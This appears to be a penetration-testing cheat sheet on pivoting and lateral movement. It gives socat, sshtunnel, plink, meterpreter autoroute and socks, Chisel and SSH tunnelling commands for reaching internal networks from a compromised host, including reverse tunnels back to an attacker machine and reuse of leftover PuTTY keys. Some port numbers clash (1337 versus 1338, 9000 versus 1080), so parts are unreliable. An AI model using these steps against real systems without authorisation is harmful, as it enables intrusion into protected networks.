Skip to content

Pivoting & Lateral Movement

Sometimes we just can't get access to the thing that we need to exploit.

When that happens we need to know the different ways in which we can get around this little hurdle, as there is always a way.

The question on StackExchange that spawned this post

SOCAT

socat tcp-listen:8001,reuseaddr,fork tcp:localhost:8000

Python

Not something you want to code yourself with any kind of time contraints, but it's totally possible.

Best choice is to use an existing library like sshtunnel which you can use to do things like the following (which forwards a Vagrant server to the local MySQL port):

from sshtunnel import open_tunnel
from time import sleep

with open_tunnel(
    ('localhost', 2222),
    ssh_username="vagrant",
    ssh_password="vagrant",
    remote_bind_address=('127.0.0.1', 3306)
) as server:

    print(server.local_bind_port)
    while True:
        # press Ctrl-C for stopping
        sleep(1)

print('FINISH!')

Putty

Basically SSH for Windows. Usually the most interaction we'll have with this is when we find one of it's keys (.ppk) laying around on a machine.

With that being said...

Convert Putty key to SSH key:

puttygen id_dsa.ppk -O private-openssh -o id_dsa

puttygen id_dsa.ppk -O public-openssh -o id_dsa.pub

Sometimes Putty also has passwords left in the registry:

For this to work we need to make sure SSH is turned on. 

service ssh restart

The on the target machine we can do the following:

.\plink.exe root@kali_ip -R KALI_PORT:IP_OF_TARGET_MACHINE:TARGET_PORT

(Could come in handy if we have SMB creds for an admin but we can't access SMB remotely)

Metasploit

In a meterpreter session:

portfwd add -l LOCAL_PORT -p DESTINATION_PORT -r TARGET_IP

run autoroute -s 10.1.1.0/24
run autoroute -s 10.2.2.0/24

use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
exploit -j

Now on our host machine we can scan the IT network:

vim /etc/proxychains.conf 
...
socks4 127.0.0.1 1080

proxychains nmap -sT -v -Pn 10.2.2.224

Chisel

Chisel is an awesome tool that is more than capable of turning what feels like a lost cause into a system own.

Github Link for Chisel

On the host:

chisel(.exe) client 10.10.14.3:1338 R:1234:127.0.0.1:1234

That will setup a connection to 1337, which will then forward port 1234 to localhost:

chisel(.exe) server -p 1337 -reverse -v

SSH

Local Foward:

ssh -L 80:127.0.0.1:80 someserver@someip

Remote Forward

ssh -R 8080:localhost:80 someserver@someip

Dynamic tunneling

ssh -D 9000 sean@10.11.1.251

vim /etc/proxychains.conf 

socks4 127.0.0.1 1080

proxychains nmap -sT -v -Pn 10.2.2.224

This creates a dynamic tunnel over port 9000 using SOCKS(4a)